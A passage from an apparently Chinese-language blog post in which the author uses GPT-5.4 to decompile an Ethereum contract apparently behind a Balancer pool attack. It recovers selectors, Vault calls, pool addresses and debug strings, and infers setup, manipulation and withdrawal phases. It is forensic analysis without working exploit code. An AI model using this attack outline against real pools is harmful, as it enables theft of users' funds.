href="https://etherscan.io/address/0x54b53503c0e2173df29f8da735fbd45ee8aba30d?ref=defiplot.com#code">https://etherscan.io/address/0x54b53503c0e2173df29f8da735fbd45ee8aba30d#code</a></p><p>&#x6240;&#x4EE5;&#x6211;&#x518D;&#x6B21;&#x5C06;&#x5B57;&#x8282;&#x7801;&#x8F93;&#x5165;&#x63D0;&#x793A;&#x7B26;&#x5E76;&#x6309;&#x4E0B;&#x56DE;&#x8F66;&#x952E;&#x3002;</p><p>&#x9996;&#x5148;&#xFF0C;&#x6211;&#x8F93;&#x5165;&#x4E86;&#x5B57;&#x8282;&#x7801;&#xFF0C;&#x8BA9;&#x5B83;&#x8BC6;&#x522B;&#x8C03;&#x5EA6;&#x5668;&#x4E2D;&#x7684;&#x516C;&#x5171;&#x9009;&#x62E9;&#x5668;&#x3002;&#x7136;&#x540E;&#xFF0C;&#x5B83;&#x67E5;&#x627E;&#x4EFB;&#x4F55;&#x5177;&#x6709;&#x5DF2;&#x77E5;&#x7B7E;&#x540D;&#x5339;&#x914D;&#x7684;&#x9009;&#x62E9;&#x5668;&#xFF0C;&#x626B;&#x63CF;&#x8FD0;&#x884C;&#x65F6;&#x4E2D;&#x7684;&#x5D4C;&#x5165;&#x5F0F;&#x5B57;&#x7B26;&#x4E32;&#xFF08;hello &#x63A7;&#x5236;&#x53F0;&#x65E5;&#x5FD7;&#xFF09;&#xFF0C;&#x5C06;&#x5916;&#x90E8;&#x8C03;&#x7528;&#x6620;&#x5C04;&#x5230;&#x5DF2;&#x77E5;&#x534F;&#x8BAE;&#xFF0C;&#x5E76;&#x68C0;&#x67E5;&#x76F8;&#x5173;&#x4EA4;&#x6613;&#xFF0C;&#x4F7F;&#x8C03;&#x7528;&#x6570;&#x636E;&#x4E0D;&#x518D;&#x62BD;&#x8C61;&#x3002;</p><p>&#x5728;&#x90A3;&#x4E4B;&#x540E;&#xFF0C;&#x6211;&#x624D;&#x8981;&#x6C42;&#x5B83;&#x91CD;&#x6784;&#x81EA;&#x5B9A;&#x4E49;&#x51FD;&#x6570;&#x3002;&#x8FD9;&#x79CD;&#x987A;&#x5E8F;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x3002;&#x5982;&#x679C;&#x6211;&#x8FC7;&#x65E9;&#x5730;&#x8981;&#x6C42;&#x5B83;&#x8FDB;&#x884C;&#x5B8C;&#x6574;&#x89E3;&#x91CA;&#xFF0C;&#x90A3;&#x4E48;&#x5927;&#x90E8;&#x5206;&#x6709;&#x8DA3;&#x7684;&#x90E8;&#x5206;&#x53EF;&#x80FD;&#x90FD;&#x53EA;&#x662F;&#x7528;&#x81EA;&#x4FE1;&#x7684;&#x8BED;&#x8A00;&#x8FDB;&#x884C;&#x7684;&#x731C;&#x6D4B;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-7.png" class="kg-image" alt="&#x4F7F;&#x7528; GPT-5.4 &#x53CD;&#x7F16;&#x8BD1;&#x5B57;&#x8282;&#x7801;" loading="lazy" width="900" height="718" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-7.png 600w, https://defiplot.com/blog/content/images/2026/03/image-7.png 900w" sizes="(min-width: 720px) 720px"></figure><h2 id="3%E3%80%81%E5%88%86%E6%9E%90%E8%BF%87%E7%A8%8B%E4%B8%AD%E4%BD%BF%E7%94%A8%E7%9A%84%E5%B7%A5%E5%85%B7">3&#x3001;&#x5206;&#x6790;&#x8FC7;&#x7A0B;&#x4E2D;&#x4F7F;&#x7528;&#x7684;&#x5DE5;&#x5177;</h2><p>&#x8FD9;&#x662F;&#x6211;&#x53D1;&#x73B0;&#x6700;&#x6709;&#x7528;&#x7684;&#x90E8;&#x5206;&#x4E4B;&#x4E00;&#xFF1A;&#x6CA1;&#x6709;&#x795E;&#x5947;&#x7684;&#x201C;&#x53CD;&#x7F16;&#x8BD1;&#x201D;&#x6309;&#x94AE;&#x3002;GPT &#x662F;&#x901A;&#x8FC7;&#x5C06;&#x51E0;&#x4E2A;&#x8F83;&#x5C0F;&#x7684;&#x7EBF;&#x7D22;&#x53E0;&#x52A0;&#x8D77;&#x6765;&#x624D;&#x5F97;&#x51FA;&#x7B54;&#x6848;&#x7684;&#x3002;</p><h3 id="31-etherscan">3.1 Etherscan</h3><p>Etherscan &#x5728;&#x6574;&#x4E2A;&#x8FC7;&#x7A0B;&#x4E2D;&#x505A;&#x4E86;&#x5F88;&#x591A;&#x7E41;&#x91CD;&#x7684;&#x5DE5;&#x4F5C;&#x3002;&#x8FD9;&#x5E76;&#x975E;&#x56E0;&#x4E3A;&#x5B83;&#x4EE5;&#x67D0;&#x79CD;&#x65B9;&#x5F0F;&#x4E3A;&#x6211;&#x89E3;&#x91CA;&#x4E86;&#x5408;&#x7EA6;&#xFF0C;&#x800C;&#x662F;&#x56E0;&#x4E3A;&#x5B83;&#x8BA9; GPT &#x80FD;&#x591F;&#x5728;&#x4EE3;&#x7801;&#x3001;&#x4EA4;&#x6613;&#x3001;&#x8F85;&#x52A9;&#x5408;&#x7EA6;&#x548C;&#x521B;&#x5EFA;&#x6D41;&#x7A0B;&#x4E4B;&#x95F4;&#x81EA;&#x7531;&#x5207;&#x6362;&#xFF0C;&#x800C;&#x4E0D;&#x4F1A;&#x4E22;&#x5931;&#x4E0A;&#x4E0B;&#x6587;&#x3002;&#x6700;&#x6709;&#x7528;&#x7684;&#x5F80;&#x5F80;&#x4E0D;&#x662F;&#x4EE3;&#x7801;&#x6807;&#x7B7E;&#x9875;&#x672C;&#x8EAB;&#xFF0C;&#x800C;&#x662F;&#x9875;&#x9762;&#x4E4B;&#x95F4;&#x7684;&#x5173;&#x7CFB;&#xFF1A;&#x8F85;&#x52A9;&#x5408;&#x7EA6;&#x5DF2;&#x7ECF;&#x521B;&#x5EFA;&#x5B8C;&#x6210;&#x3002;&#x88AB;&#x66F4;&#x5927;&#x7684;&#x53CD;&#x7F16;&#x8BD1;&#x5668;&#x5904;&#x7406;&#x540E;&#xFF0C;&#x63D0;&#x53D6;&#x4E8B;&#x52A1;&#x51C6;&#x786E;&#x5730;&#x663E;&#x793A;&#x4E86;&#x8C03;&#x7528;&#x4E86;&#x54EA;&#x4E2A;&#x9009;&#x62E9;&#x5668;&#x4EE5;&#x53CA;&#x8C03;&#x7528;&#x6570;&#x636E;&#x662F;&#x4EC0;&#x4E48;&#x6837;&#x7684;&#x3002;&#x8FD9;&#x662F;&#x539F;&#x59CB;&#x53CD;&#x7F16;&#x8BD1;&#x5668;&#x672C;&#x8EAB;&#x65E0;&#x6CD5;&#x63D0;&#x4F9B;&#x7684;&#x4E0A;&#x4E0B;&#x6587;&#x4FE1;&#x606F;&#xFF0C;&#x800C; GPT &#x5F88;&#x597D;&#x5730;&#x5229;&#x7528;&#x4E86;&#x8FD9;&#x4E00;&#x70B9;&#x3002;</p><h3 id="32-4byte%E5%87%BD%E6%95%B0%E7%AD%BE%E5%90%8D%E6%95%B0%E6%8D%AE%E5%BA%93">3.2 4byte/&#x51FD;&#x6570;&#x7B7E;&#x540D;&#x6570;&#x636E;&#x5E93;</h3><p>&#x8FD9;&#x662F;&#x6574;&#x4E2A;&#x4F1A;&#x8BDD;&#x4E2D;&#x6700;&#x5FEB;&#x7684;&#x80DC;&#x5229;&#x4E4B;&#x4E00;&#x3002;&#x6BCF;&#x5F53; GPT &#x9047;&#x5230;&#x4E00;&#x4E2A;&#x9009;&#x62E9;&#x5668;&#x65F6;&#xFF0C;&#x5B83;&#x90FD;&#x4F1A;&#x68C0;&#x67E5;&#x662F;&#x5426;&#x5B58;&#x5728;&#x5DF2;&#x77E5;&#x7684;&#x5339;&#x914D;&#x7B7E;&#x540D;&#x3002;&#x8FD9;&#x8BA9;&#x6211;&#x7ACB;&#x523B;&#x83B7;&#x5F97;&#x4E86;&#x8BF8;&#x5982; <code>failed()</code>&#x3001;<code>IS_TEST()</code>&#x3001;<code>callTx(address,uint256,bytes)</code>&#x3001;<code>getPoolId()</code>&#x3001;<code>getBptIndex()</code>&#x3001;<code>getScalingFactors()</code>&#x3001;<code>getRateProviders()</code>&#x3001;<code>getActualSupply()</code>&#x3001;<code>getAmplificationParameter()</code>&#x3001;<code>getSwapFeePercentage()</code>&#x3001;<code>getRate()</code>&#x3001;<code>getPoolTokens(bytes32)</code>&#x3001;<code>getInternalBalance(address,address[])</code>&#x3001;<code>manageUserBalance(...)</code> &#x548C; <code>batchSwap(...)</code> &#x7B49;&#x51FD;&#x6570;&#x7684;&#x7CBE;&#x786E;&#x540D;&#x79F0;&#x6216;&#x9AD8;&#x7F6E;&#x4FE1;&#x5EA6;&#x540D;&#x79F0;&#x3002;</p><p>&#x8FD9;&#x5F7B;&#x5E95;&#x6539;&#x53D8;&#x4E86;&#x95EE;&#x9898;&#x3002;&#x6211;&#x4E0D;&#x518D;&#x9762;&#x5BF9;&#x4E00;&#x4E2A;&#x968F;&#x673A;&#x7684;&#x5408;&#x7EA6;&#x3002;GPT &#x6709;&#x6548;&#x5730;&#x8868;&#x660E;&#xFF0C;&#x5B57;&#x8282;&#x7801;&#x4F7F;&#x7528;&#x7684;&#x662F;&#x4E00;&#x79CD;&#x975E;&#x5E38;&#x7279;&#x5B9A;&#x7684;&#x8BED;&#x8A00;&#xFF0C;&#x800C;&#x8FD9;&#x79CD;&#x8BED;&#x8A00;&#x5C31;&#x662F; Balancer&#x3002;</p><p>&#x6A21;&#x5F0F;&#x5339;&#x914D;&#x518D;&#x6B21;&#x53D1;&#x6325;&#x4E86;&#x91CD;&#x8981;&#x4F5C;&#x7528;&#x2026;&#x2026;</p><h3 id="33-%E8%BF%90%E8%A1%8C%E6%97%B6%E5%B5%8C%E5%85%A5%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2">3.3 &#x8FD0;&#x884C;&#x65F6;&#x5D4C;&#x5165;&#x7684;&#x5B57;&#x7B26;&#x4E32;</h3><p>&#x8FD9;&#x662F;&#x6700;&#x6709;&#x8DA3;&#x7684;&#x90E8;&#x5206;&#x4E4B;&#x4E00;&#x3002;&#x5B57;&#x8282;&#x7801;&#x4E2D;&#x5305;&#x542B;&#x4E00;&#x4E9B;&#x53EF;&#x8BFB;&#x7684;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x4F8B;&#x5982; <code>Doing Batch</code>&#x3001;<code>poolRate0</code>&#x3001;<code>poolRate1</code>&#x3001;<code>trickAmt</code>&#x3001;<code>trickRate</code>&#x3001;<code>trickIndex</code>&#x3001;<code>nonTrickIndex</code>&#x3001;<code>currentAmp</code>&#x3001;<code>startBalancesi</code>&#x3001;<code>Asset Deltasi</code> &#x548C; <code>Ending Invariant</code>&#x3002;&#x6B63;&#x662F;&#x8FD9;&#x7C7B;&#x7EBF;&#x7D22;&#x5C06;&#x9006;&#x5411;&#x5DE5;&#x7A0B;&#x4ECE;&#x62BD;&#x8C61;&#x7684;&#x5B57;&#x8282;&#x7801;&#x8FFD;&#x8E2A;&#x8F6C;&#x53D8;&#x4E3A;&#x66F4;&#x4EBA;&#x6027;&#x5316;&#x7684;&#x5DE5;&#x4F5C;&#x3002;</p><p>&#x8FD9;&#x4E9B;&#x5B57;&#x7B26;&#x4E32;&#x544A;&#x8BC9;&#x6211;&#xFF0C;GPT &#x4E5F;&#x8BC1;&#x5B9E;&#x4E86;&#x8FD9;&#x4E00;&#x70B9;&#xFF0C;&#x6211;&#x53EF;&#x80FD;&#x6B63;&#x5728;&#x67E5;&#x770B;&#x4E00;&#x6BB5;&#x7528;&#x4E8E;&#x8C03;&#x8BD5;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x8BE5;&#x4EE3;&#x7801;&#x6D4B;&#x91CF;&#x67D0;&#x4E9B;&#x6279;&#x5904;&#x7406;&#x64CD;&#x4F5C;&#x524D;&#x540E;&#x901F;&#x7387;&#x3001;&#x4F59;&#x989D;&#x548C;&#x4E0E;&#x4E0D;&#x53D8;&#x5F0F;&#x76F8;&#x5173;&#x7684;&#x503C;&#x3002;&#x5373;&#x4F7F;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x516C;&#x5F00;&#x7684;&#x6F0F;&#x6D1E;&#x5229;&#x7528;&#x62A5;&#x544A;&#xFF0C;&#x8FD9;&#x4E5F;&#x8868;&#x660E;&#x5B83;&#x66F4;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x5B9E;&#x9A8C;&#x5DE5;&#x5177;&#x6216;&#x653B;&#x51FB;&#x534F;&#x8C03;&#x5668;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x666E;&#x901A;&#x7684;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x5C01;&#x88C5;&#x7A0B;&#x5E8F;&#x3002;</p><h2 id="4%E3%80%81%E5%88%A9%E7%94%A8%E4%BA%8B%E4%BB%B6%E6%8A%A5%E5%91%8A">4&#x3001;&#x5229;&#x7528;&#x4E8B;&#x4EF6;&#x62A5;&#x544A;</h2><p>&#x6211;&#x53D1;&#x73B0;&#x4E00;&#x4E2A;&#x7279;&#x522B;&#x6709;&#x8DA3;&#x7684;&#x5730;&#x65B9;&#xFF1A;&#x5982;&#x679C;&#x6211;&#x5047;&#x8BBE; Balancer &#x7684;&#x516C;&#x5F00;&#x4E8B;&#x540E;&#x5206;&#x6790;&#x4E0D;&#x5B58;&#x5728;&#xFF0C;&#x6211;&#x8FD8;&#x80FD;&#x4EC5;&#x4ECE;&#x5408;&#x7EA6;&#x3001;&#x8F85;&#x52A9;&#x51FD;&#x6570;&#x548C;&#x94FE;&#x4E0A;&#x8DDF;&#x8E2A;&#x4E2D;&#x63A8;&#x65AD;&#x51FA;&#x591A;&#x5C11;&#x4FE1;&#x606F;&#xFF1F;</p><p>&#x5B9E;&#x9645;&#x4E0A;&#xFF0C;&#x4FE1;&#x606F;&#x91CF;&#x76F8;&#x5F53;&#x5927;&#x3002;</p><h2 id="5%E3%80%81%E5%90%88%E7%BA%A6%E4%B8%8D%E5%86%8D%E7%9C%8B%E4%BC%BC%E9%9A%8F%E6%9C%BA%E7%9A%84%E9%82%A3%E4%B8%80%E5%88%BB">5&#x3001;&#x5408;&#x7EA6;&#x4E0D;&#x518D;&#x770B;&#x4F3C;&#x968F;&#x673A;&#x7684;&#x90A3;&#x4E00;&#x523B;</h2><p>&#x5728;&#x66F4;&#x5927;&#x7684;&#x5408;&#x7EA6;&#x4E2D;&#xFF0C;&#x65E9;&#x671F;&#x6700;&#x91CD;&#x8981;&#x7684;&#x7EBF;&#x7D22;&#x5B9E;&#x9645;&#x4E0A;&#x6839;&#x672C;&#x4E0D;&#x662F; Balancer&#xFF0C;&#x800C;&#x662F; Foundry&#x3002;</p><p>GPT &#x53D1;&#x73B0;&#x5B57;&#x8282;&#x7801;&#x66B4;&#x9732;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x9009;&#x62E9;&#x5668;&#xFF0C;&#x5339;&#x914D;&#x8BF8;&#x5982; <code>failed()</code>&#x3001;<code>IS_TEST()</code>&#x3001;<code>targetSelectors()</code>&#x3001;<code>excludeSelectors()</code>&#x3001;<code>targetContracts()</code>&#x3001;<code>excludeContracts()</code>&#x3001;<code>targetArtifacts()</code>&#x3001;<code>excludeArtifacts()</code>&#x3001;<code>targetSenders()</code>&#x3001;<code>excludeSenders()</code> &#x548C; <code>targetInterfaces()</code> &#x4E4B;&#x7C7B;&#x7684;&#x51FD;&#x6570;&#x3002;&#x8FD9;&#x7ACB;&#x5373;&#x6539;&#x53D8;&#x4E86;&#x6211;&#x5BF9;&#x5408;&#x7EA6;&#x5176;&#x4F59;&#x90E8;&#x5206;&#x7684;&#x89E3;&#x8BFB;&#x3002;&#x5982;&#x679C;&#x6211;&#x5047;&#x8BBE;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5E72;&#x51C0;&#x7684;&#x751F;&#x4EA7;&#x90E8;&#x7F72;&#xFF0C;&#x6211;&#x5C31;&#x4F1A;&#x5C06;&#x8BB8;&#x591A;&#x8F85;&#x52A9;&#x51FD;&#x6570;&#x903B;&#x8F91;&#x8BEF;&#x8BFB;&#x4E3A;&#x4E1A;&#x52A1;&#x903B;&#x8F91;&#x3002;</p><p>&#x76F8;&#x53CD;&#xFF0C;&#x5F53;&#x5408;&#x7EA6;&#x7684;&#x4E09;&#x5C42;&#x7ED3;&#x6784;&#x7D27;&#x5BC6;&#x7ED3;&#x5408;&#x65F6;&#xFF0C;&#x5176;&#x903B;&#x8F91;&#x624D;&#x5F00;&#x59CB;&#x53D8;&#x5F97;&#x6E05;&#x6670;&#x8D77;&#x6765;&#xFF1A;&#x4E00;&#x5C42;&#x7C7B;&#x4F3C; Foundry &#x7684;&#x6D4B;&#x8BD5;&#x6216;&#x4E0D;&#x53D8;&#x6846;&#x67B6;&#xFF0C;&#x4E00;&#x5C42;&#x7531;&#x6240;&#x6709;&#x8005;&#x63A7;&#x5236;&#x7684;&#x7F16;&#x6392;&#x5C42;&#xFF0C;&#x4EE5;&#x53CA;&#x5E95;&#x5C42;&#x66F4;&#x4E3A;&#x5177;&#x4F53;&#x7684;&#x534F;&#x8BAE;&#x903B;&#x8F91;&#x3002;</p><h2 id="6%E3%80%81%E7%84%B6%E5%90%8E%EF%BC%8Cbalancer-%E7%9A%84%E8%B0%83%E7%94%A8%E5%BC%80%E5%A7%8B%E5%8F%98%E5%BE%97%E6%B8%85%E6%99%B0%E8%B5%B7%E6%9D%A5%E3%80%82">6&#x3001;&#x7136;&#x540E;&#xFF0C;Balancer &#x7684;&#x8C03;&#x7528;&#x5F00;&#x59CB;&#x53D8;&#x5F97;&#x6E05;&#x6670;&#x8D77;&#x6765;&#x3002;</h2><p>&#x4E00;&#x65E6; GPT &#x6620;&#x5C04;&#x4E86;&#x5916;&#x90E8;&#x9009;&#x62E9;&#x5668;&#xFF0C;&#x5408;&#x7EA6;&#x7684;&#x903B;&#x8F91;&#x5C31;&#x53D8;&#x5F97;&#x66F4;&#x52A0;&#x6E05;&#x6670;&#x4E86;&#x3002;&#x5B83;&#x8BFB;&#x53D6;&#x4E86;&#x6C60; ID&#x3001;BPT &#x6307;&#x6570;&#x3001;&#x7F29;&#x653E;&#x56E0;&#x5B50;&#x3001;&#x8D39;&#x7387;&#x63D0;&#x4F9B;&#x8005;&#x3001;&#x5B9E;&#x9645;&#x4F9B;&#x5E94;&#x91CF;&#x3001;&#x653E;&#x5927;&#x53C2;&#x6570;&#x3001;&#x5151;&#x6362;&#x8D39;&#x7528;&#x767E;&#x5206;&#x6BD4;&#x548C;&#x8D39;&#x7387;&#x3002;&#x5B83;&#x8FD8;&#x8C03;&#x7528;&#x4E86; Vault &#x65B9;&#x6CD5;&#x6765;&#x83B7;&#x53D6;&#x6C60;&#x4EE3;&#x5E01;&#x3001;&#x8BFB;&#x53D6;&#x5185;&#x90E8;&#x4F59;&#x989D;&#x3001;&#x7BA1;&#x7406;&#x7528;&#x6237;&#x4F59;&#x989D;&#x5E76;&#x6267;&#x884C; <code>batchSwap</code>&#x3002;</p><p>&#x8FD9;&#x5E76;&#x975E;&#x901A;&#x7528;&#x7684; DeFi &#x5E95;&#x5C42;&#x67B6;&#x6784;&#xFF0C;&#x800C;&#x662F;&#x9AD8;&#x5EA6;&#x7279;&#x5B9A;&#x7684;&#x884C;&#x4E3A;&#x3002;&#x5373;&#x4F7F;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x516C;&#x5F00;&#x7684;&#x6F0F;&#x6D1E;&#x5229;&#x7528;&#x4FE1;&#x606F;&#xFF0C;&#x4EC5;&#x51ED;&#x8FD9;&#x4E00;&#x70B9;&#xFF0C;&#x6211;&#x5C31;&#x80FD;&#x65AD;&#x8A00;&#xFF1A;&#x8BE5;&#x5408;&#x7EA6;&#x662F;&#x4E13;&#x95E8;&#x4E3A;&#x68C0;&#x67E5;&#x548C;&#x64CD;&#x7EB5; Balancer &#x6C60;&#x72B6;&#x6001;&#x800C;&#x8BBE;&#x8BA1;&#x7684;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x4F5C;&#x4E3A;&#x901A;&#x7528;&#x7684; DeFi &#x805A;&#x5408;&#x5668;&#x6216;&#x94B1;&#x5305;&#x5DE5;&#x5177;&#x3002;</p><h2 id="7%E3%80%81%E8%BE%85%E5%8A%A9%E5%90%88%E7%BA%A6%E8%AE%A9%E4%B8%80%E5%88%87%E8%B1%81%E7%84%B6%E5%BC%80%E6%9C%97%E3%80%82">7&#x3001;&#x8F85;&#x52A9;&#x5408;&#x7EA6;&#x8BA9;&#x4E00;&#x5207;&#x8C41;&#x7136;&#x5F00;&#x6717;&#x3002;</h2><p>&#x8FD9;&#x4E2A;&#x8F83;&#x5C0F;&#x7684;&#x8F85;&#x52A9;&#x5408;&#x7EA6;&#x81F3;&#x5173;&#x91CD;&#x8981;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x8BC1;&#x5B9E;&#x4E86;&#x8F83;&#x5927;&#x7684;&#x5408;&#x7EA6;&#x5E76;&#x975E;&#x72EC;&#x7ACB;&#x8FD0;&#x884C;&#x3002;&#x5B83;&#x6709;&#x4E24;&#x4E2A;&#x6388;&#x6743;&#x8C03;&#x7528;&#x8005;&#xFF0C;&#x4E00;&#x4E2A;&#x516C;&#x5171;&#x9009;&#x62E9;&#x5668; <code>0x524c9e20</code>&#xFF0C;&#x5BF9;&#x4F59;&#x989D;&#x548C;&#x7F29;&#x653E;&#x56E0;&#x5B50;&#x6570;&#x7EC4;&#x8FDB;&#x884C;&#x7E41;&#x7410;&#x7684;&#x7B97;&#x672F;&#x8FD0;&#x7B97;&#xFF0C;&#x4EE5;&#x53CA; Balancer &#x98CE;&#x683C;&#x7684;&#x56DE;&#x6EDA;&#x683C;&#x5F0F;&#x5316;&#x3002;&#x8FD9;&#x770B;&#x8D77;&#x6765;&#x5B8C;&#x5168;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x6570;&#x5B66;&#x63A2;&#x6D4B;&#x7A0B;&#x5E8F;&#x3002;</p><p>&#x800C;&#x8FD9;&#x6B63;&#x662F;&#x7F3A;&#x5931;&#x7684;&#x4E00;&#x73AF;&#x3002;&#x66F4;&#x5927;&#x7684;&#x5408;&#x7EA6;&#x4E0D;&#x4EC5;&#x8BFB;&#x53D6;&#x6C60;&#x72B6;&#x6001;&#x5E76;&#x6267;&#x884C;&#x4EA4;&#x6362;&#x64CD;&#x4F5C;&#xFF0C;&#x5B83;&#x8FD8;&#x5728;&#x53CD;&#x590D;&#x63A2;&#x6D4B;&#x4E00;&#x4E2A;&#x8F85;&#x52A9;&#x51FD;&#x6570;&#xFF0C;&#x8BE5;&#x51FD;&#x6570;&#x4F3C;&#x4E4E;&#x5728;&#x8BC4;&#x4F30;&#x63A5;&#x8FD1;&#x7B97;&#x672F;&#x8FB9;&#x754C;&#x7684;&#x5019;&#x9009;&#x503C;&#x3002;&#x5373;&#x4FBF;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x516C;&#x5F00;&#x7684;&#x8BB0;&#x5F55;&#xFF0C;&#x6211;&#x8BA4;&#x4E3A;&#x5728;&#x9ED1;&#x5BA2;&#x653B;&#x51FB;&#x53D1;&#x751F;&#x4E4B;&#x524D;&#xFF0C;&#x5408;&#x7406;&#x7684;&#x7ED3;&#x8BBA;&#x5E94;&#x8BE5;&#x662F;&#xFF1A;&#x8FD9;&#x770B;&#x8D77;&#x6765;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x4E13;&#x95E8;&#x7528;&#x4E8E;&#x5728; Balancer &#x6C60;&#x4E2D;&#x5BFB;&#x627E;&#x6709;&#x5229;&#x53EF;&#x56FE;&#x6216;&#x4E0D;&#x7A33;&#x5B9A;&#x72B6;&#x6001;&#x7684;&#x7814;&#x7A76;&#x6216;&#x653B;&#x51FB;&#x5DE5;&#x5177;&#x3002;</p><h2 id="8%E3%80%81%E4%BA%A4%E6%98%93%E6%95%B0%E6%8D%AE%E6%AF%94%E6%88%91%E9%A2%84%E6%9C%9F%E7%9A%84%E6%9B%B4%E6%9C%89%E5%B8%AE%E5%8A%A9">8&#x3001;&#x4EA4;&#x6613;&#x6570;&#x636E;&#x6BD4;&#x6211;&#x9884;&#x671F;&#x7684;&#x66F4;&#x6709;&#x5E2E;&#x52A9;</h2><p>GPT &#x83B7;&#x53D6;&#x7684;&#x6700;&#x6709;&#x7528;&#x7684;&#x4FE1;&#x606F;&#x4E4B;&#x4E00;&#x662F;&#x63D0;&#x53D6;&#x4EA4;&#x6613;&#x3002;</p><p>&#x9009;&#x62E9;&#x5668; <code>0x8a4f75d6</code> &#x7684;&#x8C03;&#x7528;&#x6570;&#x636E;&#x89E3;&#x7801;&#x5F97;&#x975E;&#x5E38;&#x6E05;&#x6670;&#xFF1A;</p><pre><code>address[] pools = [
  0xdacf5fa19b1f720111609043ac67a9818262850c,
  0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd
]</code></pre><p>&#x8FD9;&#x7ACB;&#x523B;&#x8BA9;&#x6211;&#x610F;&#x8BC6;&#x5230;&#xFF0C;&#x67D0;&#x4E2A;&#x81EA;&#x5B9A;&#x4E49;&#x51FD;&#x6570;&#x5E76;&#x975E;&#x62BD;&#x8C61;&#x7684;&#x6C60;&#x6570;&#x5B66;&#x8FD0;&#x7B97;&#x5165;&#x53E3;&#x70B9;&#xFF0C;&#x800C;&#x662F;&#x4E00;&#x4E2A;&#x4EC5;&#x9650;&#x6240;&#x6709;&#x8005;&#x4F7F;&#x7528;&#x7684;&#x51FD;&#x6570;&#xFF0C;&#x7528;&#x4E8E;&#x904D;&#x5386;&#x6C60;&#x5730;&#x5740;&#x3002;</p><p>GPT &#x8FFD;&#x8E2A;&#x4E86;&#x8BE5;&#x51FD;&#x6570;&#x7684;&#x5185;&#x90E8;&#x6267;&#x884C;&#x8FC7;&#x7A0B;&#x540E;&#xFF0C;&#x5176;&#x7ED3;&#x6784;&#x663E;&#x800C;&#x6613;&#x89C1;&#xFF1A;&#x8BBE;&#x7F6E;&#x5F53;&#x524D;&#x6C60;&#xFF0C;&#x83B7;&#x53D6;&#x6C60; ID&#xFF0C;&#x83B7;&#x53D6;&#x6C60;&#x5730;&#x5740;&#x3002;&#x4ECE;&#x91D1;&#x5E93;&#x4E2D;&#x53D6;&#x51FA; ool &#x4EE3;&#x5E01;&#xFF0C;&#x8BFB;&#x53D6;&#x5408;&#x7EA6;&#x4E2D;&#x8FD9;&#x4E9B;&#x8D44;&#x4EA7;&#x7684;&#x5185;&#x90E8;&#x4F59;&#x989D;&#xFF0C;&#x6784;&#x5EFA; <code>UserBalanceOp[]</code>&#xFF0C;&#x8C03;&#x7528; <code>manageUserBalance(...)</code>&#xFF0C;&#x7136;&#x540E;&#x5C06;&#x4F59;&#x989D;&#x4ECE;&#x91D1;&#x5E93;&#x4E2D;&#x53D6;&#x51FA;&#x3002;&#x6362;&#x53E5;&#x8BDD;&#x8BF4;&#xFF0C;&#x5B83;&#x770B;&#x8D77;&#x6765;&#x50CF;&#x662F;&#x4E00;&#x6761;&#x63D0;&#x53D6;&#x8DEF;&#x5F84;&#x3002;</p><p>&#x8FD9;&#x6B63;&#x662F;&#x80FD;&#x591F;&#x5C06;&#x6A21;&#x7CCA;&#x7684;&#x91CD;&#x6784;&#x8F6C;&#x5316;&#x4E3A;&#x53EF;&#x9760;&#x7684;&#x91CD;&#x6784;&#x7684;&#x5173;&#x952E;&#x7EBF;&#x7D22;&#xFF0C;&#x56E0;&#x4E3A;&#x6B64;&#x65F6;&#x5408;&#x7EA6;&#x4E0D;&#x518D;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x65E0;&#x5BB3;&#x7684;&#x5206;&#x6790;&#x8F85;&#x52A9;&#x5DE5;&#x5177;&#xFF0C;&#x800C;&#x66F4;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x5305;&#x542B;&#x8BBE;&#x7F6E;&#x9636;&#x6BB5;&#x3001;&#x64CD;&#x4F5C;&#x9636;&#x6BB5;&#x548C;&#x63D0;&#x73B0;&#x9636;&#x6BB5;&#x7684;&#x7CFB;&#x7EDF;&#x3002;</p><h2 id="9%E3%80%81%E9%87%8D%E6%9E%84%E6%9C%AA%E7%9F%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E5%87%BD%E6%95%B0">9&#x3001;&#x91CD;&#x6784;&#x672A;&#x77E5;&#x7684;&#x81EA;&#x5B9A;&#x4E49;&#x51FD;&#x6570;</h2><p>&#x5E76;&#x975E;&#x6240;&#x6709;&#x9009;&#x62E9;&#x5668;&#x90FD;&#x5B58;&#x5728;&#x4E8E;&#x516C;&#x5171;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#xFF0C;&#x56E0;&#x6B64; GPT &#x5FC5;&#x987B;&#x4ECE;&#x7CBE;&#x786E;&#x5339;&#x914D;&#x8F6C;&#x5411;&#x57FA;&#x4E8E;&#x8C03;&#x7528;&#x6570;&#x636E;&#x5F62;&#x72B6;&#x3001;&#x5B58;&#x50A8;&#x6548;&#x679C;&#x548C;&#x63A7;&#x5236;&#x6D41;&#x7684;&#x63A8;&#x65AD;&#x3002;</p><p>&#x4E09;&#x4E2A;&#x91CD;&#x8981;&#x7684;&#x672A;&#x77E5;&#x6570;&#x662F; <code>0x8a4f75d6</code>&#x3001;<code>0x60e087db</code> &#x548C; <code>0x77e0735d</code>&#x3002;</p><p><code>0x8a4f75d6</code> 